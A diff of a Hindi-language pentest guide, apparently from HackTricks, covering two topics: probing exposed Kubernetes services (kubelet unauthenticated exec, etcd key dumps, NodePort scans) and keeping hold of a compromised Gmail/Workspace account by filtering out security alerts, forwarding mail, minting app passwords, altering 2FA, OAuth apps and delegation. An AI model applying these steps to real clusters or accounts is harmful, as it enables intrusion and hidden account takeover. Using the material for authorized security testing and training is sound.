**Common ports: 6443 and 443**, लेकिन minikube में 8443 और insecure के रूप में 8080 भी।
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**इस सेवा से संवेदनशील डेटा प्राप्त करने और संवेदनशील क्रियाएँ करने के लिए निम्नलिखित पृष्ठ की जांच करें:**
**संवेदनशील डेटा प्राप्त करने और इस service से बात करते हुए संवेदनशील actions perform करने का तरीका जानने के लिए निम्न page देखें:**
{{#ref}}
../kubernetes-enumeration.md
@@ -59,18 +59,18 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
यह सेवा **क्लस्टर के हर नोड में चलती है**। यह सेवा **नोड** के अंदर पॉड्स को **नियंत्रित** करेगी। यह **kube-apiserver** के साथ बात करती है।
यह service **cluster के हर node में run करती है**। यह वही service है जो **node** के अंदर के pods को **control** करेगी। यह **kube-apiserver** से बात करती है।
यदि आप इस सेवा को उजागर पाते है, तो आप एक **अनधिकृत RCE** पा सकते हैं
अगर आपको यह service exposed मिलती है, तो हो सकता है कि आपको एक **unauthenticated RCE** मिल गया हो
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
यदि प्रतिक्रिया `Unauthorized` है, तो इसके लिए प्रमाणीकरण की आवश्यकता है।
यदि response `Unauthorized` है, तो इसमें authentication की आवश्यकता होती है।
यदि आप नोड्स की सूची बना सकते हैं, तो आप kubelets के एंडपॉइंट्स की सूची प्राप्त कर सकते हैं:
यदि आप nodes की list बना सकते हैं, तो आप kubelets endpoints की list इस प्रकार प्राप्त कर सकते हैं:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
@@ -90,53 +90,53 @@ curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### टिलर
### Tiller
```bash
helm --host tiller-deploy.kube-system:44134 version
```
आप इस सेवा का दुरुपयोग करके Kubernetes के अंदर विशेषाधिकार बढ़ा सकते हैं:
आप इस service का abuse करके Kubernetes के अंदर privileges escalate कर सकते हैं:
### cAdvisor
मेट्रिक्स इकट्ठा करने के लिए उपयोगी सेवा
metrics इकट्ठा करने के लिए उपयोगी service
```bash
curl -k https://<IP Address>:4194
```
### NodePort
जब एक पोर्ट सभी नोड्स में **NodePort** के माध्यम से खोला जाता है, तो वही पोर्ट सभी नोड्स में ट्रैफ़िक को घोषित **Service** में प्रॉक्सीफाई करते हुए खोला जाता है। डिफ़ॉल्ट रूप से, यह पोर्ट **30000-32767** की **रेंज** में होगा। इसलिए नए अनियंत्रित सेवाएँ उन पोर्ट्स के माध्यम से सुलभ हो सकत हैं।
जब एक पोर्ट को सभी nodes में **NodePort** के जरिए expose किया जाता है, तो वही पोर्ट सभी nodes पर खुल जाता है और traffic को घोषित **Service** की ओर proxify करता है। By default यह पोर्ट **range 30000-32767** में होगा। इसलिए नए unchecked services इन ports के जरिए accessible हो सकत हैं।
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
## Vulnerable Misconfigurations
## कमजोर Misconfigurations
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
**kube-apiserver API endpoints** तक Anonymous access **अनुमत नहीं है**. लेकिन आप कुछ endpoints चेक कर सकते हैं:
![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **ETCD Anonymous Access की जांच करना**
### **ETCD Anonymous Access की जाँच**
ETCD क्लस्टर के रहस्यों, कॉन्फ़िगरेशन फ़ाइलों और अधिक **संवेदनशील डेटा** को संग्रहीत करता है **डिफ़ॉल्ट** रूप से, ETCD **को** **गुमनाम** रूप से **पहुँच** नहीं सकता, लेकिन हमेशा जांचना अच्छा होता है
ETCD cluster secrets, configuration files और अन्य **sensitive data** स्टोर करता है. **By default**, ETCD **को** **anonymously** access **नहीं** किया जा सकता, लेकिन चेक करना हमेशा अच्छा होता है.
यदि ETCD को गुमनाम रूप से पहुँचा जा सकता है, तो आपको **उपयोग करने की आवश्यकता हो सकती है** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **उपकरण**। निम्नलिखित कमांड सभी कुंजी प्राप्त करेग:
अगर ETCD को anonymously access किया जा सकता है, तो आपको [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** का **use** करना पड़ सकता है. निम्न command stored सभी keys प्राप्त करेग:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) बताता है कि **डिफ़ॉल्ट रूप से गुमनाम पहुँच** सेवा के लिए **अनुमति है:**
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) बताता है कि **default** से सेवा तक **anonymous acce**ss **allowed** है:
> Kubelet सर्वर के लिए गुमनाम अनुरोधों को सक्षम करता है। अनुरोध जो किसी अन्य प्रमाणीकरण विधि द्वारा अस्वीकृत नहीं होते हैं, उन्हें गुमनाम अनुरोधों के रूप में माना जाता है। गुमनाम अनुरोधों का उपयोगकर्ता नाम `system:anonymous` होता है, और समूह का नाम `system:unauthenticated` होता है।
> Kubelet server पर anonymous requests को सक्षम करता है। जो requests किसी दूसरे authentication method द्वारा reject नहीं की जातीं, उन्हें anonymous requests के रूप में माना जाता है। Anonymous requests का username `system:anonymous` और group name `system:unauthenticated` होता है।
**Kubelet API के प्रमाणीकरण और प्राधिकरण के काम करके तरीके** को बेहतर समझने के लिए इस पृष्ठ को देखें:
**Kubelet API के authentication and authorization** कैसे काम करहैं, इसे बेहतर समझने के लिए यह page देखें:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
**Kubelet** सेवा **API का दस्तावेज़ नहीं है**, लेकिन स्रोत कोड यहाँ पाया जा सकता है और उजागर किए गए एंडपॉइंट्स को **चलाने** के रूप में खोजना आसान है:
**Kubelet** service **API is not documented**, लेकिन source code यहाँ मिल सकता है, और exposed endpoints ढूँढना बस **running** जितना आसान है:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -148,34 +148,34 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
सभी दिलचस्प लगते हैं।
वे सभी दिलचस्प लगते हैं।
आप [**Kubeletctl**](https://github.com/cyberark/kubeletctl) टूल का उपयोग Kubelets और उनके एंडपॉइंट्स के साथ इंटरैक्ट करने के लिए कर सकते हैं।
आप [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool का उपयोग करके Kubelets और उनके endpoints के साथ interact कर सकते हैं।
#### /pods
यह एंडपॉइंट पॉड्स और उनके कंटेनरों की सूची देता है:
यह endpoint pods और उनके containers की list देता है:
```bash
kubeletctl pods
```
#### /exec
यह एंडपॉइंट किसी भी कंटेनर के अंदर कोड को बहुत आसानी से निष्पादित करने की अनुमति देता है:
यह endpoint किसी भी container के अंदर code को बहुत आसानी से execute करने की अनुमति देता है:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> इस हमले से बचने के लिए _**kubelet**_ सेवा को `--anonymous-auth false` के साथ चलाना चाहिए और सेवा को नेटवर्क स्तर पर अलग किया जाना चाहिए।
> इस attack से बचने के लिए _**kubelet**_ service को `--anonymous-auth false` के साथ run करना चाहिए और service को network level पर segregate करना चाहिए।
### **Kubelet (पढ़ने के लिए केवल पोर्ट) जानकारी का प्रदर्शन जांचना**
### **Kubelet (Read Only Port) Information Exposure की जांच**
जब **kubelet पढ़ने के लिए केवल पोर्ट** को उजागर किया जाता है, तो यह अनधिकृत पक्षों द्वारा API से जानकारी प्राप्त करना संभव हो जाता है। इस पोर्ट का प्रदर्शन विभिन्न **क्लस्टर कॉन्फ़िगरेशन तत्वों** के खुलासे का कारण बन सकता है। हालांकि जानकारी, जिसमें **पॉड नाम, आंतरिक फ़ाइलों के स्थान, और अन्य कॉन्फ़िगरेशन** शामिल हैं, महत्वपूर्ण नहीं हो सकती, फिर भी इसका प्रदर्शन सुरक्षा जोखिम पैदा करता है और इससे बचना चाहिए।
जब एक **kubelet read-only port** exposed होता है, तो unauthorized parties के लिए API से information retrieve करना संभव हो जाता है। इस port का exposure विभिन्न **cluster configuration elements** के disclosure का कारण बन सकता है। हालांकि **pod names, internal files की locations, और other configurations** जैसी information critical न भी हों, फिर भी इसका exposure security risk पैदा करता है और इससे बचना चाहिए।
इस भेद्यता का शोषण करने का एक उदाहरण एक दूरस्थ हमलावर द्वारा एक विशिष्ट URL तक पहुंचना है। `http://<external-IP>:10255/pods` पर नेविगेट करके, हमलावर संभावित रूप से kubelet से संवेदनशील जानकारी प्राप्त कर सकता है:
इस vulnerability का exploit करने का एक example एक remote attacker द्वारा specific URL को access करना है। `http://<external-IP>:10255/pods` पर navigate करके attacker kubelet से sensitive information potentially retrieve कर सकता है:
![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
## संदर्भ
## References
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
@@ -3,180 +3,180 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> इस अनुभाग में उल्लिखित सभी क्रियाएँ जो सेटिंग्स को बदलती हैं, **ईमेल पर एक सुरक्षा अलर्ट और किसी भी मोबाइल पर एक पुश नोटिफिकेशन** उत्पन्न करेंगी जो खाते के साथ समन्वयित है
> इस सेक्शन में बताई गई सभी actions जो setting बदलती हैं, वे ईमेल पर एक **security alert** और account के साथ synced किसी भी mobile पर एक push notification तक generate करेंगी
## **Gmail में स्थिरता**
## **Persistence in Gmail**
- आप Google से सुरक्षा सूचनाओं को छिपाने के लिए **फिल्टर बना सकते हैं**
- आप Google से आने वाली security notifications को **hide** करने के लिए **filters** बना सकते हैं
- `from: (no-reply@accounts.google.com) "Security Alert"`
- यह सुरक्षा ईमेल को ईमेल तक पहुँचने से रोकेगा (लेकिन मोबाइल पर पुश नोटिफिकेशन को रोक नहीं पाएगा)
- इससे security emails ईमेल तक नहीं पहुँचेंगी (लेकिन mobile पर push notifications नहीं रुकेंगी)
<details>
<summary>Gmail फ़िल्टर बनाने के चरण</summary>
<summary>Steps to create a gmail filter</summary>
(निर्देश [**यहाँ**](https://support.google.com/mail/answer/6579) से)
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
1. [Gmail](https://mail.google.com/) खोलें।
2. शीर्ष पर खोज बॉक्स में, खोज विकल्प दिखाने के लिए क्लिक करें ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
3. अपने खोज मानदंड दर्ज करें। यदि आप यह जांचना चाहते हैं कि आपकी खोज सही ढंग से काम कर रही है, तो **खोज** पर क्लिक करके देखें कि कौन से ईमेल दिखाई देते हैं।
4. खोज विंडो के नीचे, **फिल्टर बनाएँ** पर क्लिक करें।
5. चुनें कि आप फ़िल्टर को क्या करना चाहते हैं।
6. **फिल्टर बनाएँ** पर क्लिक करें।
1. Open [Gmail](https://mail.google.com/).
2. ऊपर search box में, Show search options ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) पर क्लिक करें।
3. अपनी search criteria दर्ज करें। अगर आप check करना चाहते हैं कि आपकी search सही चली या नहीं, तो **Search** पर क्लिक करके देखें कि कौन-सी emails दिखती हैं।
4. search window के नीचे, **Create filter** पर क्लिक करें।
5. चुनें कि आप filter से क्या करवाना चाहते हैं।
6. **Create filter** पर क्लिक करें।
अपने वर्तमान फ़िल्टर की जांच करें (उन्हें हटाने के लिए) [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters) पर
अपने current filter को check करें (उन्हें delete करने के लिए) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
</details>
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
- संवेदनशील जानकारी (या सब कुछ) को अग्रेषित करने के लिए **अग्रेषण पता बनाएँ** - आपको मैनुअल एक्सेस की आवश्यकता है
- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop) पर एक अग्रेषण पता बनाए
- प्राप्त करने वाले पते को इसकी पुष्टि करन होग
- फिर, सभी ईमेल को अग्रेषित करने के लिए सेट करें जबकि एक प्रति रखते हुए (बदलाव सहेजने के लिए क्लिक करना न भूलें):
- संवेदनशील जानकारी (या सब कुछ) को आगे भेजने के लिए **forwarding address** बनाएं - इसके लिए manual access चाहिए
- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop) में forwarding address बनाए
- receiving address को इसे confirm करन होग
- फिर, सभी emails को forward करने के लिए set करें, और एक copy भी रखें (remember to click on save changes):
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
यह भी संभव है कि फ़िल्टर बनाएँ और केवल विशिष्ट ईमेल को दूसरे ईमेल पते पर अग्रेषित करें
यह भी possible है कि filters बनाकर सिर्फ specific emails को दूसरे email address पर forward किया जाए
## ऐप पासवर्ड
## App passwords
यदि आप **एक Google उपयोगकर्ता सत्र को समझौता** करने में सफल रहे है और उपयोगकर्ता के पास **2FA** है, तो आप **एक [**ऐप पासवर्ड**](https://support.google.com/accounts/answer/185833?hl=en) उत्पन्न कर सकते हैं** (चरण देखने के लिए लिंक का पालन करें)। ध्यान दें कि **ऐप पासवर्ड अब Google द्वारा अनुशंसित नहीं हैं और जब उपयोगकर्ता **अपने Google खाते का पासवर्ड बदलता है तो रद्द कर दिए जाते हैं।**
अगर आपने **google user session compromise** कर लिया है और user के पास **2FA** था, तो आप एक [**app password**](https://support.google.com/accounts/answer/185833?hl=en) **generate** कर सकते हैं (steps देखने के लिए link follow करें)। ध्यान दें कि **App passwords अब Google द्वारा recommended नहीं हैं और user के **Google Account password** बदलने पर revoke हो जाते हैं।**
**यहां तक कि यदि आपके पास एक खुला सत्र है,ो आपको ऐप पासवर्ड बनाने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
**अगर आपके पास open session है तब भी app password create करने के लिए आपको user का password जानना होगा।**
> [!NOTE]
> ऐप पासवर्ड **केवल उन खातों के साथ उपयोग किए जा सकत है जिनमें 2-चरणीय सत्यापन** चालू ह
> App passwords का उपयोग **सिर्फ उन accounts** के साथ किया जा सकत है जिनमें **2-Step Verification** चालू ह
## 2-FA और समान में परिवर्तन
## Change 2-FA and similar
यह भी संभव है कि **2-FA बंद करें या एक नए डिवाइस** (या फोन नंबर) को इस पृष्ठ [**https://myaccount.google.com/security**](https://myaccount.google.com/security)** में नामांकित करें।**\
**यह पासकीज़ उत्पन्न करना भी संभव है (अपना डिवाइस जोड़ें), पासवर्ड बदलें, सत्यापन फोन और पुनर्प्राप्ति के लिए मोबाइल नंबर जोड़ें, पुनर्प्राप्ति ईमेल बदलें और सुरक्षा प्रश्न बदलें।**
इस page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.** पर जाकर **2-FA बंद करना** या **नई device** (या phone number) enroll करना भी possible है।\
**passkeys generate करना (अपनी device add करना), password change करना, verification phones और recovery के लिए mobile numbers add करना, recovery email change करना और security questions change करना भी possible है)।**
> [!CAUTION]
> उपयोगकर्ता के फोन पर **सुरक्षा पुश नोटिफिकेशन** पहुँचने से रोकने के लिए, आप **उसके स्मार्टफोन को साइन आउट** कर सकते हैं (हालांकि यह अजीब होगा) क्योंकि आप यहाँ से उसे फिर से साइन इन नहीं कर सकते।
> user के phone तक security push notifications पहुँचने से **prevent** करने के लिए, आप उसके smartphone को **sign out** कर सकते हैं (हालांकि यह अजीब होगा) क्योंकि आप उसे यहाँ से फिर sign in नहीं कर सकते।
>
> यह भी संभव है कि **डिवाइस को स्थानांतरित करें।**
> यह भी possible है कि **device locate** की जाए।
**यहां तक कि यदि आपके पास एक खुला सत्र है,ो आपको इन सेटिंग्स को बदलने के लिए उपयोगकर्ता का पासवर्ड जानना होगा।**
**अगर आपके पास open session है तब भी इन settings को बदलने के लिए आपको user का password जानना होगा।**
## OAuth ऐप्स के माध्यम से स्थिरता
## Persistence via OAuth Apps
यदि आपने **एक उपयोगकर्ता के खाते को समझौता किया है,** तो आप बस **OAuth ऐप** को सभी संभावित अनुमतियाँ देने के लिए **स्वीकृति** दे सकते हैं। एकमात्र समस्या यह है कि Workspace को **अवलोकित बाहरी और/या आंतरिक OAuth ऐप्स** को **अनुमति देने के लिए कॉन्फ़िगर किया जा सकता है।**\
यह Workspace संगठनों के लिए सामान्य है कि वे डिफ़ॉल्ट रूप से बाहरी OAuth ऐप्स पर भरोसा नहीं करते हैं लेकिन आंतरिक पर भरोसा करते है, इसलिए यदि आपके पास संगठन के भीतर एक नया OAuth एप्लिकेशन उत्पन्न करने के लिए **पर्याप्त अनुमतियाँ हैं** और बाहरी ऐप्स अवरुद्ध हैं, तो से उत्पन्न करें और **स्थिरता बनाए रखने के लिए उस नए आंतरिक OAuth ऐप का उपयोग करें**
अगर आपने **user के account को compromise** कर लिया है, तो आप बस एक **OAuth App** को सभी possible permissions देने के लिए **accept** कर सकते हैं। एकमात्र समस्या यह है कि Workspace को इस तरह configure किया जा सकता है कि वह **unreviewed external and/or internal OAuth apps** को **disallow** करे।\
Workspace Organizations में आम तौर पर external OAuth apps को by default trust नहीं किया जाता, लेकिन internal ones को trust किया जाता है, इसलिए अगर आपके पास organization के अंदर **नई OAuth application generate** करने के लिए पर्याप्त permissions हैं और external apps disallowed हैं, तो से generate करें और **persistence बनाए रखने के लिए उस नई internal OAuth app का उपयोग करें**
OAuth ऐप्स के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
OAuth Apps के बारे में अधिक जानकारी के लिए निम्न page देखें:
{{#ref}}
gws-google-platforms-phishing/
{{#endref}}
## प्रतिनिधित्व के माध्यम से स्थिरता
## Persistence via delegation
आप बस **खाते को एक अलग खाते** में प्रतिनिधित्व कर सकते हैं जो हमलावर द्वारा नियंत्रित है (यदि आपको ऐसा करने की अनुमति है)। Workspace **संगठनों** में यह विकल्प **सक्षम** होना चाहिए। इसे सभी के लिए अक्षम किया जा सकता है, कुछ उपयोगकर्ताओं/समूहों से सक्षम किया जा सकता है या सभी के लिए (आमतौर पर यह केवल कुछ उपयोगकर्ताओं/समूहों के लिए सक्षम होता है या पूरी तरह से अक्षम होता है)।
आप बस account को attacker द्वारा नियंत्रित किसी दूसरे account को **delegate** कर सकते है (अगर आपको ऐसा करने की अनुमति है)। Workspace **Organizations** में यह option **enabled** होना चाहिए। इसे सभी के लिए disable किया जा सकता है, कुछ users/groups के लिए enable किया जा सकता है, या सभी के लिए enable किया जा सकता है (आमतौर पर यह सिर्फ कुछ users/groups के लिए enabled होता है या पूरी तरह disabled होता है)।
<details>
<summary>यदि आप एक Workspace व्यवस्थापक हैं तो इस विकल्प को सक्षम करने के लिए जांचें</summary>
<summary>If you are a Workspace admin check this to enable the feature</summary>
(जानकारी [दस्तावेज़ों से कॉपी की गई](https://support.google.com/a/answer/7223765))
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
आपके संगठन के लिए एक व्यवस्थापक के रूप में (उदाहरण के लिए, आपका कार्य या स्कूल), आप नियंत्रित करते हैं कि उपयोगकर्ता अपने Gmail खाते तक पहुँच को प्रतिनिधित्व कर सकते हैं या नहीं। आप सभी को अपने खाते को प्रतिनिधित्व करने का विकल्प दे सकते हैं। या, केवल कुछ विभागों के लोगों को प्रतिनिधित्व सेट करने की अनुमति दें। उदाहरण के लिए, आप:
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
- अपने Gmail खाते पर एक प्रशासनिक सहायक को प्रतिनिधि के रूप में जोड़ सकते हैं ताकि वे आपकी ओर से ईमेल पढ़ और भेज सकें।
- एक समूह, जैसे कि आपकी बिक्री विभाग, को समूहों में प्रतिनिधि के रूप में जोड़ सकते हैं ताकि सभी को एक Gmail खाते तक पहुँच मिल सके।
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
उपयोगकर्ता केवल उसी संगठन में दूसरे उपयोगकर्ता को प्रतिनिधित्व कर सकते हैं, चाहे उनका डोमेन या उनका संगठनात्मक इकाई कुछ भी हो।
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
#### प्रतिनिधित्व सीमाएँ और प्रतिबंध
#### Delegation limits & restrictions
- **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए एक Google समूह को अनुमति दें** विकल्प: इस विकल्प का उपयोग करने के लिए, इसे प्रतिनिधित्व किए गए खाते के OU और प्रत्येक समूह सदस्य के OU के लिए सक्षम किया जाना चाहिए। ऐसे समूह सदस्य जो बिना इस विकल्प के सक्षम OU में हैं, वे प्रतिनिधित्व किए गए खाते तक पहुँच नहीं सकते।
- सामान्य उपयोग के साथ, 40 प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं। एक या अधिक प्रतिनिधियों द्वारा औसत से अधिक उपयोग इस संख्या को कम कर सकता है।
- स्वचालित प्रक्रियाएँ जो अक्सर Gmail तक पहुँचती हैं, वे भी एक ही समय में एक खाते तक पहुँचने वाले प्रतिनिधियों की संख्या को कम कर सकती हैं। इन प्रक्रियाओं में API या ब्राउज़र एक्सटेंशन शामिल हैं जो अक्सर Gmail तक पहुँचते हैं।
- एक ही Gmail खाता 1,000 अद्वितीय प्रतिनिधियों का समर्थन करता है। समूहों में एक समूह एक प्रतिनिधि के रूप में सीमा की ओर गिना जाता है।
- प्रतिनिधित्व Gmail खाते की सीमाओं को नहीं बढ़ाता है। प्रतिनिधि उपयोगकर्ताओं वाले Gmail खातों में मानक Gmail खाता सीमाएँ और नीतियाँ होती हैं। विवरण के लिए, [Gmail सीमाएँ और नीतियाँ](https://support.google.com/a/topic/28609) पर जाएँ।
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
#### चरण 1: अपने उपयोगकर्ताओं के लिए Gmail प्रतिनिधित्व चालू करें
#### Step 1: Turn on Gmail delegation for your users
**शुरू करने से पहले:** कुछ उपयोगकर्ताओं के लिए सेटिंग लागू करने के लिए, उनके खातों को एक [संगठनात्मक इकाई](https://support.google.com/a/topic/1227584) में डालें।
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
1. [साइन इन](https://admin.google.com/) करें अपने [Google व्यवस्थापक कंसोल](https://support.google.com/a/answer/182076) में।
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
एक _व्यवस्थापक खाते_ का उपयोग करके साइन इन करें, न कि अपने वर्तमान खाते CarlosPolop@gmail.com
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
2. व्यवस्थापक कंसोल में, मेनू पर जाएँ ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **ऐप्स**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![और फिर](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**उपयोगकर्ता सेटिंग्स**
3. यदि आप सेटिंग को सभी पर लागू करना चाहते हैं, तो शीर्ष संगठनात्मक इकाई को चयनित छोड़ दें। अन्यथा, एक बच्चे [संगठनात्मक इकाई](https://support.google.com/a/topic/1227584) का चयन करें।
4. **मेल प्रतिनिधित्व** पर क्लिक करें।
5. **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए अन्य उपयोगकर्ताओं को अनुमति दें** बॉक्स को चेक करें।
6. (वैकल्पिक) उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देने के लिए कि उनके खाते से भेजे गए प्रतिनिधि संदेशों में कौन सी प्रेषक जानकारी शामिल ह, **उपयोगकर्ताओं को इस सेटिंग को अनुकूलित करने की अनुमति दें** बॉक्स को चेक करें।
7. प्रतिनिधियों द्वारा भेजे गए संदेशों में शामिल प्रेषक जानकारी के लिए एक विकल्प चुनें:
- **खाते के मालिक और प्रतिनिधि को दिखाएँ जिसने ईमेल भेजा**—संदेशों में Gmail खाते के मालिक और प्रतिनिधि के ईमेल पते शामिल होते हैं।
- **केवल खाते के मालिक को दिखाएँ**—संदेशों में केवल Gmail खाते के मालिक का ईमेल पता शामिल होता है। प्रतिनिधि का ईमेल पता शामिल नहीं होता है
8. (वैकल्पिक) उपयोगकर्ताओं को समूहों में एक समूह को प्रतिनिधि के रूप में जोड़ने की अनुमति देने के लिए, **उपयोगकर्ताओं को अपने मेलबॉक्स तक पहुँच देने के लिए एक Google समूह को अनुमति दें** बॉक्स को चेक करें।
9. **सहेजें** पर क्लिक करें। यदि आपने एक बच्चे संगठनात्मक इकाई को कॉन्फ़िगर किया है, तो आप एक माता संगठनात्मक इकाई की सेटिंग्स को **विरासत में** या **ओवरराइड** कर सकते हैं।
10. (वैकल्पिक) अन्य संगठनात्मक इकाइयों के लिए Gmail प्रतिनिधित्व चालू करने के लिए, चरण 39 को दोहराएँ।
2. In the Admin console, go to Menu ![Google Admin console main menu icon](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![Google Admin console apps grid icon](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**User settings**.
3. Setting को सभी पर लागू करने के लिए, top organizational unit चयनित रहने दें। वरना, कोई child [organizational unit](https://support.google.com/a/topic/1227584) चुनें।
4. **Mail delegation** पर क्लिक करें।
5. **Let users delegate access to their mailbox to other users in the domain** box को check करें।
6. (Optional) Users को यह तय करने देने के लिए कि delegated messages में कौन-सी sender information शामिल ह, **Allow users to customize this setting** box को check करें।
7. delegates द्वारा भेजे गए messages में शामिल default sender information के लिए एक option चुनें:
- **Show the account owner and the delegate who sent the email**—Messages में Gmail account owner और delegate के email addresses शामिल होंगे
- **Show the account owner only**—Messages में केवल Gmail account owner का email address शामिल होगा। delegate email address शामिल नहीं होगा
8. (Optional) Users को Groups में किसी group को delegate के रूप में जोड़ने देने के लिए **Allow users to grant their mailbox access to a Google group** box को check करें।
9. **Save** पर क्लिक करें। अगर आपने child organizational unit configure की है, तो आप parent organizational unit की settings को **Inherit** या **Override** कर सकते हैं।
10. (Optional) अन्य organizational units के लिए Gmail delegation चालू करने हेतु, steps 39 दोहराएँ।
परिवर्तन में 24 घंटे तक का समय लग सकत है लेकिन आमतौर पर अधिक तेजी से होते है। [अधिक जानें](https://support.google.com/a/answer/7514107)
Changes को प्रभावी होने में 24 hours तक लग सकत हैं, लेकिन आमतौर पर यह जल्दी हो जाता है। [Learn more](https://support.google.com/a/answer/7514107)
#### चरण 2: उपयोगकर्ताओं को अपने खातों के लिए प्रतिनिधियों को सेट करने दें
#### Step 2: Have users set up delegates for their accounts
जब आप प्रतिनिधित्व चालू करते हैं, तो आपके उपयोगकर्ता अपने Gmail सेटिंग्स में जाकर प्रतिनिधियों को असाइन करते हैं। प्रतिनिधि तब उपयोगकर्ता की ओर से संदेश पढ़, भेज और प्राप्त कर सकते हैं।
